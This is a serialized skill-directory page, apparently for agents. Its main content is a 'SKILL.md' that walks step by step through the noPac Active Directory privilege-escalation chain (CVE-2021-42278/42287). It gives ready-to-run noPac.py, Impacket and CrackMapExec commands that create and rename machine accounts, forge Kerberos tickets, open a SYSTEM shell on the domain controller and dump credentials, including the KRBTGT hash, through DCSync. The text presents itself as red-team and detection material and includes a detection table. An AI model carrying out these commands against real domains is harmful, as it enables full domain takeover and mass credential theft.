[{"data":1,"prerenderedAt":-1},["ShallowReactive",2],{"skill:01M6HF2RP3T8EENPB7ZKF7B8WM":3,"skill-same:01M6HF2RP3T8EENPB7ZKF7B8WM":124},{"skillNo":4,"name":5,"nameZh":6,"description":7,"descriptionZh":6,"repositoryFullName":8,"ownerLogin":9,"ownerAvatarUrl":10,"ownerAccountNo":11,"ownerDisplayName":12,"repositoryNo":13,"starsCount":14,"licenseSpdxId":15,"licenseFileUrl":6,"sourceHtmlUrl":16,"categories":17,"keywords":18,"publishedAt":39,"linkOnly":40,"markdownContent":41,"markdownBody":42,"frontMatter":43,"refName":67,"commitSha":68,"skillDirectory":69,"forksCount":70,"repositoryHtmlUrl":71,"repositoryHomepageUrl":6,"ownerHtmlUrl":72,"ownerBlogUrl":6,"ownerDescription":73,"updatedAt":74,"install":75,"resources":88},"01M6HF2RP3T8EENPB7ZKF7B8WM","exploiting-nopac-cve-2021-42278-42287",null,"Exploit the noPac vulnerability chain (CVE-2021-42278 sAMAccountName spoofing and CVE-2021-42287 KDC PAC confusion) to escalate from standard domain user to Domain Admin in Active Directory environments.","HenriqueMC17\u002Fagente-core","HenriqueMC17","https:\u002F\u002Favatars.githubusercontent.com\u002Fu\u002F206460478?v=4","01M6HB63HBBF18AC4H09XTB549","Henrique Monteiro Cardoso","01M6HB63NGSQXWKWCFWW2B20W0",1,"Apache-2.0","https:\u002F\u002Fgithub.com\u002FHenriqueMC17\u002Fagente-core\u002Fblob\u002Fmain\u002Fmodules\u002Fexploiting-nopac-cve-2021-42278-42287\u002FSKILL.md",[],[19,20,21,22,23,24,25,26,27,28,29,30,31,32,33,34,35,36,37,38],"cve","nopac","exploiting nopac cve 2021 42278 42287","cve-2021-42287","de","chain","active","exploit","stack","team","vulnerability","analysis","directory","cve-2021-42278","domain-escalation","t1078","monitoring","verification","code","cybersecurity","2026-11-10 10:12:30",false,"---\nname: exploiting-nopac-cve-2021-42278-42287\ndescription: Exploit the noPac vulnerability chain (CVE-2021-42278 sAMAccountName spoofing and CVE-2021-42287 KDC PAC confusion) to escalate from standard domain user to Domain Admin in Active Directory environments.\ndomain: cybersecurity\nsubdomain: red-teaming\ntags:\n- red-team\n- active-directory\n- nopac\n- cve-2021-42278\n- cve-2021-42287\n- privilege-escalation\n- domain-escalation\nversion: '1.0'\nauthor: mahipal\nlicense: Apache-2.0\nd3fend_techniques:\n- Platform Monitoring\n- Process Code Segment Verification\n- Stack Frame Canary Validation\n- Segment Address Offset Randomization\n- Process Analysis\nnist_csf:\n- ID.RA-01\n- GV.OV-02\n- DE.AE-07\nmitre_attack:\n- T1595\n- T1190\n- T1059\n- T1078\n- T1068\ncategory: exploiting-nopac-cve-2021-42278-42287\n---\n# Exploiting noPac (CVE-2021-42278 \u002F CVE-2021-42287)\n\n\n> **Legal Notice:** This skill is for authorized security testing and educational purposes only. Unauthorized use against systems you do not own or have written permission to test is illegal and may violate computer fraud laws.\n\n## Overview\n\nnoPac is a critical exploit chain combining two Active Directory vulnerabilities: CVE-2021-42278 (sAMAccountName spoofing) and CVE-2021-42287 (KDC PAC confusion). Together, they allow any authenticated domain user to escalate to Domain Admin privileges, potentially achieving full domain compromise in under 60 seconds. CVE-2021-42278 allows an attacker to modify a machine account's sAMAccountName attribute to match a Domain Controller's name (minus the trailing $). CVE-2021-42287 exploits a flaw in the Kerberos PAC validation where the KDC, unable to find the renamed account, falls back to appending $ and issues a ticket for the Domain Controller account. Microsoft patched both vulnerabilities in November 2021 (KB5008380 and KB5008602), but many environments remain unpatched. The exploit was publicly released by cube0x0 and Ridter in December 2021.\n\n\n## When to Use\n\n- When performing authorized security testing that involves exploiting nopac cve 2021 42278 42287\n- When analyzing malware samples or attack artifacts in a controlled environment\n- When conducting red team exercises or penetration testing engagements\n- When building detection capabilities based on offensive technique understanding\n\n## Prerequisites\n\n- Familiarity with red teaming concepts and tools\n- Access to a test or lab environment for safe execution\n- Python 3.8+ with required dependencies installed\n- Appropriate authorization for any testing activities\n\n## Objectives\n\n- Scan the target domain for noPac vulnerability (CVE-2021-42278\u002F42287)\n- Create or leverage a machine account with modified sAMAccountName\n- Exploit the KDC PAC confusion to obtain a TGT for the Domain Controller\n- Use the DC ticket to perform DCSync and dump domain credentials\n- Achieve Domain Admin access from a standard domain user account\n- Document the complete exploitation chain with evidence\n\n## MITRE ATT&CK Mapping\n\n- **T1068** - Exploitation for Privilege Escalation\n- **T1136.002** - Create Account: Domain Account\n- **T1078.002** - Valid Accounts: Domain Accounts\n- **T1558** - Steal or Forge Kerberos Tickets\n- **T1003.006** - OS Credential Dumping: DCSync\n\n## Workflow\n\n### Phase 1: Vulnerability Scanning\n1. Check if the domain is vulnerable using the noPac scanner:\n   ```bash\n   # Using cube0x0's noPac scanner\n   python3 scanner.py domain.local\u002Fuser:'Password123' -dc-ip 10.10.10.1\n\n   # Using CrackMapExec module\n   crackmapexec smb 10.10.10.1 -u user -p 'Password123' -M nopac\n   ```\n2. Verify the MachineAccountQuota (default is 10, allows any user to join computers):\n   ```bash\n   # Check MachineAccountQuota via LDAP\n   python3 -c \"\n   import ldap3\n   server = ldap3.Server('10.10.10.1')\n   conn = ldap3.Connection(server, 'domain.local\\\\user', 'Password123', auto_bind=True)\n   conn.search('DC=domain,DC=local', '(objectClass=domain)', attributes=['ms-DS-MachineAccountQuota'])\n   print(conn.entries[0]['ms-DS-MachineAccountQuota'])\n   \"\n   ```\n\n### Phase 2: Exploitation with noPac Tool\n1. Run the full noPac exploit chain:\n   ```bash\n   # Using cube0x0's noPac (gets a shell on the DC)\n   python3 noPac.py domain.local\u002Fuser:'Password123' -dc-ip 10.10.10.1 \\\n     -dc-host DC01 -shell --impersonate administrator -use-ldap\n\n   # Using Ridter's noPac (alternative implementation)\n   python3 noPac.py domain.local\u002Fuser:'Password123' -dc-ip 10.10.10.1 \\\n     --impersonate administrator -dump\n   ```\n2. The exploit automatically:\n   - Creates a new machine account (or uses an existing one)\n   - Renames the machine account's sAMAccountName to match the DC (e.g., \"DC01\")\n   - Requests a TGT for the spoofed account name\n   - Restores the original sAMAccountName\n   - Uses S4U2self to obtain a service ticket impersonating the target user\n   - The KDC finds no account matching \"DC01\" and falls back to \"DC01$\" (the real DC)\n\n### Phase 3: Post-Exploitation\n1. With the obtained Domain Controller ticket, perform DCSync:\n   ```bash\n   # DCSync using secretsdump.py with the Kerberos ticket\n   export KRB5CCNAME=administrator.ccache\n   secretsdump.py -k -no-pass domain.local\u002Fadministrator@DC01.domain.local\n\n   # Or directly through the noPac shell\n   # The shell runs as SYSTEM on the DC\n   ```\n2. Alternatively, obtain a semi-interactive shell:\n   ```bash\n   python3 noPac.py domain.local\u002Fuser:'Password123' -dc-ip 10.10.10.1 \\\n     -dc-host DC01 -shell --impersonate administrator -use-ldap\n   ```\n\n### Phase 4: Manual Exploitation Steps\n1. Create a machine account:\n   ```bash\n   addcomputer.py -computer-name 'ATTACKPC$' -computer-pass 'AttackPass123' \\\n     -dc-ip 10.10.10.1 domain.local\u002Fuser:'Password123'\n   ```\n2. Clear the SPN and rename sAMAccountName:\n   ```bash\n   # Rename machine account sAMAccountName to DC name (without $)\n   renameMachine.py -current-name 'ATTACKPC$' -new-name 'DC01' \\\n     -dc-ip 10.10.10.1 domain.local\u002Fuser:'Password123'\n   ```\n3. Request a TGT for the spoofed name:\n   ```bash\n   getTGT.py -dc-ip 10.10.10.1 domain.local\u002F'DC01':'AttackPass123'\n   ```\n4. Restore the original machine name:\n   ```bash\n   renameMachine.py -current-name 'DC01' -new-name 'ATTACKPC$' \\\n     -dc-ip 10.10.10.1 domain.local\u002Fuser:'Password123'\n   ```\n5. Use S4U2self for impersonation:\n   ```bash\n   export KRB5CCNAME=DC01.ccache\n   getST.py -self -impersonate 'administrator' -altservice 'cifs\u002FDC01.domain.local' \\\n     -k -no-pass -dc-ip 10.10.10.1 domain.local\u002F'ATTACKPC$'\n   ```\n\n## Tools and Resources\n\n| Tool | Purpose | Platform |\n|------|---------|----------|\n| noPac (cube0x0) | Automated scanner and exploiter | Python |\n| noPac (Ridter) | Alternative exploit implementation | Python |\n| Impacket | Kerberos ticket manipulation, DCSync | Python |\n| CrackMapExec | Vulnerability scanning module | Python |\n| Rubeus | Windows Kerberos ticket operations | Windows (.NET) |\n| secretsdump.py | Post-exploitation credential dumping | Python |\n\n## CVE Details\n\n| CVE | Description | CVSS | Patch |\n|-----|-------------|------|-------|\n| CVE-2021-42278 | sAMAccountName spoofing (machine accounts) | 7.5 | KB5008102 |\n| CVE-2021-42287 | KDC PAC confusion \u002F privilege escalation | 7.5 | KB5008380 |\n\n## Detection Signatures\n\n| Indicator | Detection Method |\n|-----------|-----------------|\n| Machine account sAMAccountName change | Event 4742 (computer account changed) with sAMAccountName modification |\n| New machine account creation | Event 4741 (computer object created) |\n| TGT request for account without trailing $ | Kerberos audit log analysis |\n| S4U2self requests from non-DC machine accounts | Event 4769 with unusual service ticket requests |\n| Rapid sequence: create account, rename, request TGT | SIEM correlation rule for noPac attack pattern |\n\n## Validation Criteria\n\n- [ ] Domain scanned for noPac vulnerability\n- [ ] MachineAccountQuota verified (default 10)\n- [ ] Exploit executed successfully (shell or DCSync)\n- [ ] Domain Admin privileges obtained from standard user\n- [ ] DCSync performed to dump domain credentials\n- [ ] KRBTGT hash obtained for persistence validation\n- [ ] Attack chain documented with timestamps\n- [ ] Patch status verified (KB5008380, KB5008602)\n","# Exploiting noPac (CVE-2021-42278 \u002F CVE-2021-42287)\n\n\n> **Legal Notice:** This skill is for authorized security testing and educational purposes only. Unauthorized use against systems you do not own or have written permission to test is illegal and may violate computer fraud laws.\n\n## Overview\n\nnoPac is a critical exploit chain combining two Active Directory vulnerabilities: CVE-2021-42278 (sAMAccountName spoofing) and CVE-2021-42287 (KDC PAC confusion). Together, they allow any authenticated domain user to escalate to Domain Admin privileges, potentially achieving full domain compromise in under 60 seconds. CVE-2021-42278 allows an attacker to modify a machine account's sAMAccountName attribute to match a Domain Controller's name (minus the trailing $). CVE-2021-42287 exploits a flaw in the Kerberos PAC validation where the KDC, unable to find the renamed account, falls back to appending $ and issues a ticket for the Domain Controller account. Microsoft patched both vulnerabilities in November 2021 (KB5008380 and KB5008602), but many environments remain unpatched. The exploit was publicly released by cube0x0 and Ridter in December 2021.\n\n\n## When to Use\n\n- When performing authorized security testing that involves exploiting nopac cve 2021 42278 42287\n- When analyzing malware samples or attack artifacts in a controlled environment\n- When conducting red team exercises or penetration testing engagements\n- When building detection capabilities based on offensive technique understanding\n\n## Prerequisites\n\n- Familiarity with red teaming concepts and tools\n- Access to a test or lab environment for safe execution\n- Python 3.8+ with required dependencies installed\n- Appropriate authorization for any testing activities\n\n## Objectives\n\n- Scan the target domain for noPac vulnerability (CVE-2021-42278\u002F42287)\n- Create or leverage a machine account with modified sAMAccountName\n- Exploit the KDC PAC confusion to obtain a TGT for the Domain Controller\n- Use the DC ticket to perform DCSync and dump domain credentials\n- Achieve Domain Admin access from a standard domain user account\n- Document the complete exploitation chain with evidence\n\n## MITRE ATT&CK Mapping\n\n- **T1068** - Exploitation for Privilege Escalation\n- **T1136.002** - Create Account: Domain Account\n- **T1078.002** - Valid Accounts: Domain Accounts\n- **T1558** - Steal or Forge Kerberos Tickets\n- **T1003.006** - OS Credential Dumping: DCSync\n\n## Workflow\n\n### Phase 1: Vulnerability Scanning\n1. Check if the domain is vulnerable using the noPac scanner:\n   ```bash\n   # Using cube0x0's noPac scanner\n   python3 scanner.py domain.local\u002Fuser:'Password123' -dc-ip 10.10.10.1\n\n   # Using CrackMapExec module\n   crackmapexec smb 10.10.10.1 -u user -p 'Password123' -M nopac\n   ```\n2. Verify the MachineAccountQuota (default is 10, allows any user to join computers):\n   ```bash\n   # Check MachineAccountQuota via LDAP\n   python3 -c \"\n   import ldap3\n   server = ldap3.Server('10.10.10.1')\n   conn = ldap3.Connection(server, 'domain.local\\\\user', 'Password123', auto_bind=True)\n   conn.search('DC=domain,DC=local', '(objectClass=domain)', attributes=['ms-DS-MachineAccountQuota'])\n   print(conn.entries[0]['ms-DS-MachineAccountQuota'])\n   \"\n   ```\n\n### Phase 2: Exploitation with noPac Tool\n1. Run the full noPac exploit chain:\n   ```bash\n   # Using cube0x0's noPac (gets a shell on the DC)\n   python3 noPac.py domain.local\u002Fuser:'Password123' -dc-ip 10.10.10.1 \\\n     -dc-host DC01 -shell --impersonate administrator -use-ldap\n\n   # Using Ridter's noPac (alternative implementation)\n   python3 noPac.py domain.local\u002Fuser:'Password123' -dc-ip 10.10.10.1 \\\n     --impersonate administrator -dump\n   ```\n2. The exploit automatically:\n   - Creates a new machine account (or uses an existing one)\n   - Renames the machine account's sAMAccountName to match the DC (e.g., \"DC01\")\n   - Requests a TGT for the spoofed account name\n   - Restores the original sAMAccountName\n   - Uses S4U2self to obtain a service ticket impersonating the target user\n   - The KDC finds no account matching \"DC01\" and falls back to \"DC01$\" (the real DC)\n\n### Phase 3: Post-Exploitation\n1. With the obtained Domain Controller ticket, perform DCSync:\n   ```bash\n   # DCSync using secretsdump.py with the Kerberos ticket\n   export KRB5CCNAME=administrator.ccache\n   secretsdump.py -k -no-pass domain.local\u002Fadministrator@DC01.domain.local\n\n   # Or directly through the noPac shell\n   # The shell runs as SYSTEM on the DC\n   ```\n2. Alternatively, obtain a semi-interactive shell:\n   ```bash\n   python3 noPac.py domain.local\u002Fuser:'Password123' -dc-ip 10.10.10.1 \\\n     -dc-host DC01 -shell --impersonate administrator -use-ldap\n   ```\n\n### Phase 4: Manual Exploitation Steps\n1. Create a machine account:\n   ```bash\n   addcomputer.py -computer-name 'ATTACKPC$' -computer-pass 'AttackPass123' \\\n     -dc-ip 10.10.10.1 domain.local\u002Fuser:'Password123'\n   ```\n2. Clear the SPN and rename sAMAccountName:\n   ```bash\n   # Rename machine account sAMAccountName to DC name (without $)\n   renameMachine.py -current-name 'ATTACKPC$' -new-name 'DC01' \\\n     -dc-ip 10.10.10.1 domain.local\u002Fuser:'Password123'\n   ```\n3. Request a TGT for the spoofed name:\n   ```bash\n   getTGT.py -dc-ip 10.10.10.1 domain.local\u002F'DC01':'AttackPass123'\n   ```\n4. Restore the original machine name:\n   ```bash\n   renameMachine.py -current-name 'DC01' -new-name 'ATTACKPC$' \\\n     -dc-ip 10.10.10.1 domain.local\u002Fuser:'Password123'\n   ```\n5. Use S4U2self for impersonation:\n   ```bash\n   export KRB5CCNAME=DC01.ccache\n   getST.py -self -impersonate 'administrator' -altservice 'cifs\u002FDC01.domain.local' \\\n     -k -no-pass -dc-ip 10.10.10.1 domain.local\u002F'ATTACKPC$'\n   ```\n\n## Tools and Resources\n\n| Tool | Purpose | Platform |\n|------|---------|----------|\n| noPac (cube0x0) | Automated scanner and exploiter | Python |\n| noPac (Ridter) | Alternative exploit implementation | Python |\n| Impacket | Kerberos ticket manipulation, DCSync | Python |\n| CrackMapExec | Vulnerability scanning module | Python |\n| Rubeus | Windows Kerberos ticket operations | Windows (.NET) |\n| secretsdump.py | Post-exploitation credential dumping | Python |\n\n## CVE Details\n\n| CVE | Description | CVSS | Patch |\n|-----|-------------|------|-------|\n| CVE-2021-42278 | sAMAccountName spoofing (machine accounts) | 7.5 | KB5008102 |\n| CVE-2021-42287 | KDC PAC confusion \u002F privilege escalation | 7.5 | KB5008380 |\n\n## Detection Signatures\n\n| Indicator | Detection Method |\n|-----------|-----------------|\n| Machine account sAMAccountName change | Event 4742 (computer account changed) with sAMAccountName modification |\n| New machine account creation | Event 4741 (computer object created) |\n| TGT request for account without trailing $ | Kerberos audit log analysis |\n| S4U2self requests from non-DC machine accounts | Event 4769 with unusual service ticket requests |\n| Rapid sequence: create account, rename, request TGT | SIEM correlation rule for noPac attack pattern |\n\n## Validation Criteria\n\n- [ ] Domain scanned for noPac vulnerability\n- [ ] MachineAccountQuota verified (default 10)\n- [ ] Exploit executed successfully (shell or DCSync)\n- [ ] Domain Admin privileges obtained from standard user\n- [ ] DCSync performed to dump domain credentials\n- [ ] KRBTGT hash obtained for persistence validation\n- [ ] Attack chain documented with timestamps\n- [ ] Patch status verified (KB5008380, KB5008602)\n",{"name":5,"tags":44,"author":48,"domain":38,"license":15,"version":49,"category":5,"nist_csf":50,"subdomain":54,"description":7,"mitre_attack":55,"d3fend_techniques":61},[45,46,20,32,22,47,33],"red-team","active-directory","privilege-escalation","mahipal","1.0",[51,52,53],"ID.RA-01","GV.OV-02","DE.AE-07","red-teaming",[56,57,58,59,60],"T1595","T1190","T1059","T1078","T1068",[62,63,64,65,66],"Platform Monitoring","Process Code Segment Verification","Stack Frame Canary Validation","Segment Address Offset Randomization","Process Analysis","main","5eea5b3296f4673b5f481e8bcc1ba76281149f16","modules\u002Fexploiting-nopac-cve-2021-42278-42287",0,"https:\u002F\u002Fgithub.com\u002FHenriqueMC17\u002Fagente-core","https:\u002F\u002Fgithub.com\u002FHenriqueMC17","Qualquer tecnologia suficientemente avançada é indistinguível da mágica.","2026-09-28 22:40:38",{"source":8,"skillName":5,"commands":76,"prompt":86,"zipAvailable":87},[77,80,83],{"tool":78,"command":79},"npx","npx skills add HenriqueMC17\u002Fagente-core --skill exploiting-nopac-cve-2021-42278-42287",{"tool":81,"command":82},"bunx","bunx skills add HenriqueMC17\u002Fagente-core --skill exploiting-nopac-cve-2021-42278-42287",{"tool":84,"command":85},"pnpm","pnpm dlx skills add HenriqueMC17\u002Fagente-core --skill exploiting-nopac-cve-2021-42278-42287","安装技能，技能地址：https:\u002F\u002Fgithub.com\u002FHenriqueMC17\u002Fagente-core\u002Fblob\u002Fmain\u002Fmodules\u002Fexploiting-nopac-cve-2021-42278-42287\u002FSKILL.md",true,[89,95,100,106,110,114,120],{"path":90,"resourceType":91,"resourceTypeDesc":92,"sizeBytes":93,"sourceHtmlUrl":94},"assets\u002Ftemplate.md","ASSET","资产文件",864,"https:\u002F\u002Fgithub.com\u002FHenriqueMC17\u002Fagente-core\u002Fblob\u002Fmain\u002Fmodules\u002Fexploiting-nopac-cve-2021-42278-42287\u002Fassets\u002Ftemplate.md",{"path":96,"resourceType":96,"resourceTypeDesc":97,"sizeBytes":98,"sourceHtmlUrl":99},"LICENSE","许可证",11255,"https:\u002F\u002Fgithub.com\u002FHenriqueMC17\u002Fagente-core\u002Fblob\u002Fmain\u002Fmodules\u002Fexploiting-nopac-cve-2021-42278-42287\u002FLICENSE",{"path":101,"resourceType":102,"resourceTypeDesc":103,"sizeBytes":104,"sourceHtmlUrl":105},"references\u002Fapi-reference.md","REFERENCE","参考文档",1983,"https:\u002F\u002Fgithub.com\u002FHenriqueMC17\u002Fagente-core\u002Fblob\u002Fmain\u002Fmodules\u002Fexploiting-nopac-cve-2021-42278-42287\u002Freferences\u002Fapi-reference.md",{"path":107,"resourceType":102,"resourceTypeDesc":103,"sizeBytes":108,"sourceHtmlUrl":109},"references\u002Fstandards.md",1075,"https:\u002F\u002Fgithub.com\u002FHenriqueMC17\u002Fagente-core\u002Fblob\u002Fmain\u002Fmodules\u002Fexploiting-nopac-cve-2021-42278-42287\u002Freferences\u002Fstandards.md",{"path":111,"resourceType":102,"resourceTypeDesc":103,"sizeBytes":112,"sourceHtmlUrl":113},"references\u002Fworkflows.md",615,"https:\u002F\u002Fgithub.com\u002FHenriqueMC17\u002Fagente-core\u002Fblob\u002Fmain\u002Fmodules\u002Fexploiting-nopac-cve-2021-42278-42287\u002Freferences\u002Fworkflows.md",{"path":115,"resourceType":116,"resourceTypeDesc":117,"sizeBytes":118,"sourceHtmlUrl":119},"scripts\u002Fagent.py","SCRIPT","脚本",4803,"https:\u002F\u002Fgithub.com\u002FHenriqueMC17\u002Fagente-core\u002Fblob\u002Fmain\u002Fmodules\u002Fexploiting-nopac-cve-2021-42278-42287\u002Fscripts\u002Fagent.py",{"path":121,"resourceType":116,"resourceTypeDesc":117,"sizeBytes":122,"sourceHtmlUrl":123},"scripts\u002Fprocess.py",5056,"https:\u002F\u002Fgithub.com\u002FHenriqueMC17\u002Fagente-core\u002Fblob\u002Fmain\u002Fmodules\u002Fexploiting-nopac-cve-2021-42278-42287\u002Fscripts\u002Fprocess.py",[125,154,179,201,217,237],{"skillNo":126,"name":127,"nameZh":6,"description":128,"descriptionZh":6,"repositoryFullName":8,"ownerLogin":9,"ownerAvatarUrl":10,"ownerAccountNo":11,"ownerDisplayName":12,"repositoryNo":13,"starsCount":14,"licenseSpdxId":15,"licenseFileUrl":6,"sourceHtmlUrl":129,"categories":130,"keywords":136,"publishedAt":39},"01M6HPFF0RCN0X6WT5EBSV71GY","validating-backup-integrity-for-recovery","Validate backup integrity through cryptographic hash verification, automated restore testing, corruption detection, and recoverability checks to ensure backups are reliable for disaster recovery and ransomware response scenarios.","https:\u002F\u002Fgithub.com\u002FHenriqueMC17\u002Fagente-core\u002Fblob\u002Fmain\u002Fmodules\u002Fvalidating-backup-integrity-for-recovery\u002FSKILL.md",[131],{"categoryNo":132,"categoryName":133,"taxonomyType":134,"taxonomyTypeDesc":135},"01JBSEEDCAT000000000000008","测试与质量","SCENARIO","使用场景",[137,138,139,140,141,142,38,143,36,144,145,146,147,34,148,149,150,151,152,153],"integrity","backup","recovery","validating backup integrity for recovery","for","testing","validate","hash-verification","incident-response","ransomware","detection","t1490","disaster-recovery","restore","incident","disaster recovery","ransomware response",{"skillNo":155,"name":156,"nameZh":6,"description":157,"descriptionZh":6,"repositoryFullName":8,"ownerLogin":9,"ownerAvatarUrl":10,"ownerAccountNo":11,"ownerDisplayName":12,"repositoryNo":13,"starsCount":14,"licenseSpdxId":15,"licenseFileUrl":6,"sourceHtmlUrl":158,"categories":159,"keywords":160,"publishedAt":39},"01M6HPFAWJVFK25Q33K3T7WQ8G","triaging-vulnerabilities-with-ssvc-framework","Triage and prioritize vulnerabilities using CISA's Stakeholder-Specific Vulnerability Categorization (SSVC) decision tree framework to produce actionable remediation priorities.","https:\u002F\u002Fgithub.com\u002FHenriqueMC17\u002Fagente-core\u002Fblob\u002Fmain\u002Fmodules\u002Ftriaging-vulnerabilities-with-ssvc-framework\u002FSKILL.md",[],[161,162,163,164,165,38,166,167,168,169,170,171,29,172,173,174,175,176,177,178],"vulnerabilities","framework","ssvc","triaging vulnerabilities with ssvc framework","with","triage and prioritize","CISA","vulnerability-management","risk-management","cvss","remediation","prioritization","decision-tree","prioritize","decision","priorities","actionable","tree",{"skillNo":180,"name":181,"nameZh":6,"description":182,"descriptionZh":6,"repositoryFullName":8,"ownerLogin":9,"ownerAvatarUrl":10,"ownerAccountNo":11,"ownerDisplayName":12,"repositoryNo":13,"starsCount":14,"licenseSpdxId":15,"licenseFileUrl":6,"sourceHtmlUrl":183,"categories":184,"keywords":185,"publishedAt":39},"01M6HPF6JS9X72WP59094H3ASQ","triaging-security-incident","Performs initial triage of security incidents to determine severity, scope, and required response actions using the NIST SP 800-61r3 and SANS PICERL frameworks. Classifies incidents by type, assigns priority based on business impact, and routes...","https:\u002F\u002Fgithub.com\u002FHenriqueMC17\u002Fagente-core\u002Fblob\u002Fmain\u002Fmodules\u002Ftriaging-security-incident\u002FSKILL.md",[],[186,187,151,38,188,189,190,34,148,30,191,192,193,194,195,196,197,198,199,200],"security","triaging security incident","actions","soc","NIST","severity-classification","incident-triage","SANS-PICERL","SOC-operations","picerl","conversion","isolation","scope","impact","consistency",{"skillNo":202,"name":203,"nameZh":6,"description":204,"descriptionZh":6,"repositoryFullName":8,"ownerLogin":9,"ownerAvatarUrl":10,"ownerAccountNo":11,"ownerDisplayName":12,"repositoryNo":13,"starsCount":14,"licenseSpdxId":15,"licenseFileUrl":6,"sourceHtmlUrl":205,"categories":206,"keywords":207,"publishedAt":39},"01M6HPF2EX6ZYNYYHKBRJN7GEF","triaging-security-incident-with-ir-playbook","Classify and prioritize security incidents using structured IR playbooks to determine severity, assign response teams, and initiate appropriate response procedures.","https:\u002F\u002Fgithub.com\u002FHenriqueMC17\u002Fagente-core\u002Fblob\u002Fmain\u002Fmodules\u002Ftriaging-security-incident-with-ir-playbook\u002FSKILL.md",[],[186,208,209,187,151,165,38,210,189,145,211,212,34,148,213,191,174,214,215,216],"playbook","triaging security incident with ir playbook","teams","IR-playbook","severity","classification","classify","incidents","initiate",{"skillNo":218,"name":219,"nameZh":6,"description":220,"descriptionZh":6,"repositoryFullName":8,"ownerLogin":9,"ownerAvatarUrl":10,"ownerAccountNo":11,"ownerDisplayName":12,"repositoryNo":13,"starsCount":14,"licenseSpdxId":15,"licenseFileUrl":6,"sourceHtmlUrl":221,"categories":222,"keywords":223,"publishedAt":39},"01M6HPEY9XPGE7X95AG4XJFQAW","triaging-security-alerts-in-splunk","Triages security alerts in Splunk Enterprise Security by classifying severity, investigating notable events, correlating related telemetry, and making escalation or closure decisions using SPL queries and the Incident Review dashboard. Use when...","https:\u002F\u002Fgithub.com\u002FHenriqueMC17\u002Fagente-core\u002Fblob\u002Fmain\u002Fmodules\u002Ftriaging-security-alerts-in-splunk\u002FSKILL.md",[],[186,224,225,226,227,228,38,229,230,231,189,232,34,233,234,235,194,236,151,23],"security alerts","splunk","triaging security alerts in splunk","alerts","review","siem","dashboard","search","correlation-search","t1566","notable-events","incident-review","cm",{"skillNo":238,"name":239,"nameZh":6,"description":240,"descriptionZh":6,"repositoryFullName":8,"ownerLogin":9,"ownerAvatarUrl":10,"ownerAccountNo":11,"ownerDisplayName":12,"repositoryNo":13,"starsCount":14,"licenseSpdxId":15,"licenseFileUrl":6,"sourceHtmlUrl":241,"categories":242,"keywords":243,"publishedAt":39},"01M6HPET6XGEPEJPN7V032JGZ0","tracking-threat-actor-infrastructure","Threat actor infrastructure tracking involves monitoring and mapping adversary-controlled assets including command-and-control (C2) servers, phishing domains, exploit kit hosts, bulletproof hosting, a","https:\u002F\u002Fgithub.com\u002FHenriqueMC17\u002Fagente-core\u002Fblob\u002Fmain\u002Fmodules\u002Ftracking-threat-actor-infrastructure\u002FSKILL.md",[],[244,245,246,247,38,35,248,249,250,251,252,233,253,26,236,254,23,255,256,257],"infrastructure","tracking threat actor infrastructure","tracking","threat","mitre-attack","threat-actor","threat-intelligence","command-and-control","dns","command","intelligence","domains","kit","hosts"]